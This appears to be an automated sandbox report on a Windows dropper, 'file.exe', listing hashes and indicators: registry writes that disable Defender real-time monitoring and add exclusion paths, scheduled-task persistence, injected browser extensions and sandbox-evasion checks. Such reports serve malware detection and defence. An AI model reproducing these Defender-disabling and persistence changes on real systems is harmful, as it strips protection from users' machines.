Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
119s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20231023-en -
resource tags
arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system -
submitted
29/10/2023, 03:21
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20231023-en
General
-
Target
file.exe
-
Size
7.1MB
-
MD5
58657ed42e997c6eee70e649fe8d9892
-
SHA1
56504557e5aa23c907990ce79c2eb1a20a0f272d
-
SHA256
652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c
-
SHA512
fa9c2a5708f18da58e9f87fa4eb612e1ed126623d701a86d1d7fba98c35488dd0f8d4c3e12a57b99104deed89b4d9958cce218de19173a3f8900de9a8c91a114
-
SSDEEP
196608:91OUgP/TcLGwBVpRKQefMiooyXDHGYdxVeHmJkZ8cr:3O3wKwBjsBojGYdcacr
Malware Config
Signatures
-
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\xaXHhbBRU = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\ihUYOsbkXmStDhVB = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nHkJQUniIMPgfrVz = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\xaXHhbBRU = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\ihUYOsbkXmStDhVB = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\cnKtfofVELLNC = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\mBUaPyDkTUtU2 = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nHkJQUniIMPgfrVz = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\MyWyEVaGyEwOczZklbR = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\MyWyEVaGyEwOczZklbR = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vPdYXglKjKUn = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nHkJQUniIMPgfrVz = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\cnKtfofVELLNC = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\mBUaPyDkTUtU2 = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vPdYXglKjKUn = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nHkJQUniIMPgfrVz = "0" reg.exe -
Blocklisted process makes network request 1 IoCs
flow pid Process 24 1984 rundll32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Control Panel\International\Geo\Nation ZxxbjGb.exe -
Executes dropped EXE 4 IoCs
pid Process 2008 Install.exe 2960 Install.exe 2396 nbjEzVI.exe 2408 ZxxbjGb.exe -
Loads dropped DLL 12 IoCs
pid Process 1580 file.exe 2008 Install.exe 2008 Install.exe 2008 Install.exe 2008 Install.exe 2960 Install.exe 2960 Install.exe 2960 Install.exe 1984 rundll32.exe 1984 rundll32.exe 1984 rundll32.exe 1984 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json ZxxbjGb.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json ZxxbjGb.exe -
Drops file in System32 directory 21 IoCs
description ioc Process File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini nbjEzVI.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA ZxxbjGb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_B67A81AFAE089B928194572649A22563 ZxxbjGb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat rundll32.exe File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA ZxxbjGb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_E83F1CC07F729E027C8598AD1DA25FD6 ZxxbjGb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_90E6705D31DA2761A44BA5F5F40B2AEC ZxxbjGb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_90E6705D31DA2761A44BA5F5F40B2AEC ZxxbjGb.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat ZxxbjGb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA ZxxbjGb.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol ZxxbjGb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_B67A81AFAE089B928194572649A22563 ZxxbjGb.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol nbjEzVI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA ZxxbjGb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_E83F1CC07F729E027C8598AD1DA25FD6 ZxxbjGb.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol nbjEzVI.exe -
Drops file in Program Files directory 13 IoCs
description ioc Process File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi ZxxbjGb.exe File created C:\Program Files (x86)\xaXHhbBRU\aYxBDzP.xml ZxxbjGb.exe File created C:\Program Files (x86)\mBUaPyDkTUtU2\LWqgEUs.xml ZxxbjGb.exe File created C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\VEMiAgj.dll ZxxbjGb.exe File created C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\RfovWyy.xml ZxxbjGb.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak ZxxbjGb.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja ZxxbjGb.exe File created C:\Program Files (x86)\mBUaPyDkTUtU2\fKczWZUSSrWSI.dll ZxxbjGb.exe File created C:\Program Files (x86)\cnKtfofVELLNC\avahOii.dll ZxxbjGb.exe File created C:\Program Files (x86)\xaXHhbBRU\KzZSrS.dll ZxxbjGb.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi ZxxbjGb.exe File created C:\Program Files (x86)\cnKtfofVELLNC\khLZtHm.xml ZxxbjGb.exe File created C:\Program Files (x86)\vPdYXglKjKUn\kkTgWwu.dll ZxxbjGb.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\Tasks\byVqvYMHXaoMZDRgRv.job schtasks.exe File created C:\Windows\Tasks\YdWhrynxKGQiTdtBc.job schtasks.exe File created C:\Windows\Tasks\NmaEDVxnjLfXRnq.job schtasks.exe File created C:\Windows\Tasks\fORmCKMRpgzCRPXvW.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 13 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2548 schtasks.exe 2912 schtasks.exe 1652 schtasks.exe 2604 schtasks.exe 2992 schtasks.exe 2588 schtasks.exe 2092 schtasks.exe 1524 schtasks.exe 1672 schtasks.exe 2384 schtasks.exe 2108 schtasks.exe 2936 schtasks.exe 2932 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\42-99-c9-60-5a-16 rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\42-99-c9-60-5a-16\WpadDecisionTime = e0878637170ada01 ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections ZxxbjGb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{80166A89-11A5-4400-92CE-02AF5EDE9941}\WpadDecisionReason = "1" ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\Software wscript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft wscript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs ZxxbjGb.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 ZxxbjGb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0087000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad ZxxbjGb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\42-99-c9-60-5a-16\WpadDecision = "0" ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople ZxxbjGb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings ZxxbjGb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\42-99-c9-60-5a-16\WpadDecisionReason = "1" ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{80166A89-11A5-4400-92CE-02AF5EDE9941} ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ZxxbjGb.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix ZxxbjGb.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" ZxxbjGb.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" ZxxbjGb.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings wscript.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates ZxxbjGb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\42-99-c9-60-5a-16\WpadDecisionReason = "1" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates ZxxbjGb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\42-99-c9-60-5a-16 ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs ZxxbjGb.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings wscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ wscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{80166A89-11A5-4400-92CE-02AF5EDE9941}\42-99-c9-60-5a-16 rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{80166A89-11A5-4400-92CE-02AF5EDE9941}\WpadDecision = "0" ZxxbjGb.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{80166A89-11A5-4400-92CE-02AF5EDE9941}\WpadNetworkName = "Network 3" ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{80166A89-11A5-4400-92CE-02AF5EDE9941}\42-99-c9-60-5a-16 ZxxbjGb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs ZxxbjGb.exe -
Suspicious behavior: EnumeratesProcesses 29 IoCs
pid Process 988 powershell.EXE 988 powershell.EXE 988 powershell.EXE 1632 powershell.EXE 1632 powershell.EXE 1632 powershell.EXE 980 powershell.EXE 980 powershell.EXE 980 powershell.EXE 1940 powershell.EXE 1940 powershell.EXE 1940 powershell.EXE 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe 2408 ZxxbjGb.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 988 powershell.EXE Token: SeDebugPrivilege 1632 powershell.EXE Token: SeDebugPrivilege 980 powershell.EXE Token: SeDebugPrivilege 1940 powershell.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1580 wrote to memory of 2008 1580 file.exe 28 PID 1580 wrote to memory of 2008 1580 file.exe 28 PID 1580 wrote to memory of 2008 1580 file.exe 28 PID 1580 wrote to memory of 2008 1580 file.exe 28 PID 1580 wrote to memory of 2008 1580 file.exe 28 PID 1580 wrote to memory of 2008 1580 file.exe 28 PID 1580 wrote to memory of 2008 1580 file.exe 28 PID 2008 wrote to memory of 2960 2008 Install.exe 29 PID 2008 wrote to memory of 2960 2008 Install.exe 29 PID 2008 wrote to memory of 2960 2008 Install.exe 29 PID 2008 wrote to memory of 2960 2008 Install.exe 29 PID 2008 wrote to memory of 2960 2008 Install.exe 29 PID 2008 wrote to memory of 2960 2008 Install.exe 29 PID 2008 wrote to memory of 2960 2008 Install.exe 29 PID 2960 wrote to memory of 2644 2960 Install.exe 31 PID 2960 wrote to memory of 2644 2960 Install.exe 31 PID 2960 wrote to memory of 2644 2960 Install.exe 31 PID 2960 wrote to memory of 2644 2960 Install.exe 31 PID 2960 wrote to memory of 2644 2960 Install.exe 31 PID 2960 wrote to memory of 2644 2960 Install.exe 31 PID 2960 wrote to memory of 2644 2960 Install.exe 31 PID 2960 wrote to memory of 2772 2960 Install.exe 33 PID 2960 wrote to memory of 2772 2960 Install.exe 33 PID 2960 wrote to memory of 2772 2960 Install.exe 33 PID 2960 wrote to memory of 2772 2960 Install.exe 33 PID 2960 wrote to memory of 2772 2960 Install.exe 33 PID 2960 wrote to memory of 2772 2960 Install.exe 33 PID 2960 wrote to memory of 2772 2960 Install.exe 33 PID 2644 wrote to memory of 2532 2644 forfiles.exe 35 PID 2644 wrote to memory of 2532 2644 forfiles.exe 35 PID 2644 wrote to memory of 2532 2644 forfiles.exe 35 PID 2644 wrote to memory of 2532 2644 forfiles.exe 35 PID 2644 wrote to memory of 2532 2644 forfiles.exe 35 PID 2644 wrote to memory of 2532 2644 forfiles.exe 35 PID 2644 wrote to memory of 2532 2644 forfiles.exe 35 PID 2772 wrote to memory of 2540 2772 forfiles.exe 36 PID 2772 wrote to memory of 2540 2772 forfiles.exe 36 PID 2772 wrote to memory of 2540 2772 forfiles.exe 36 PID 2772 wrote to memory of 2540 2772 forfiles.exe 36 PID 2772 wrote to memory of 2540 2772 forfiles.exe 36 PID 2772 wrote to memory of 2540 2772 forfiles.exe 36 PID 2772 wrote to memory of 2540 2772 forfiles.exe 36 PID 2540 wrote to memory of 2480 2540 cmd.exe 37 PID 2540 wrote to memory of 2480 2540 cmd.exe 37 PID 2540 wrote to memory of 2480 2540 cmd.exe 37 PID 2540 wrote to memory of 2480 2540 cmd.exe 37 PID 2540 wrote to memory of 2480 2540 cmd.exe 37 PID 2540 wrote to memory of 2480 2540 cmd.exe 37 PID 2540 wrote to memory of 2480 2540 cmd.exe 37 PID 2532 wrote to memory of 2484 2532 cmd.exe 38 PID 2532 wrote to memory of 2484 2532 cmd.exe 38 PID 2532 wrote to memory of 2484 2532 cmd.exe 38 PID 2532 wrote to memory of 2484 2532 cmd.exe 38 PID 2532 wrote to memory of 2484 2532 cmd.exe 38 PID 2532 wrote to memory of 2484 2532 cmd.exe 38 PID 2532 wrote to memory of 2484 2532 cmd.exe 38 PID 2540 wrote to memory of 2500 2540 cmd.exe 39 PID 2540 wrote to memory of 2500 2540 cmd.exe 39 PID 2540 wrote to memory of 2500 2540 cmd.exe 39 PID 2540 wrote to memory of 2500 2540 cmd.exe 39 PID 2540 wrote to memory of 2500 2540 cmd.exe 39 PID 2540 wrote to memory of 2500 2540 cmd.exe 39 PID 2540 wrote to memory of 2500 2540 cmd.exe 39 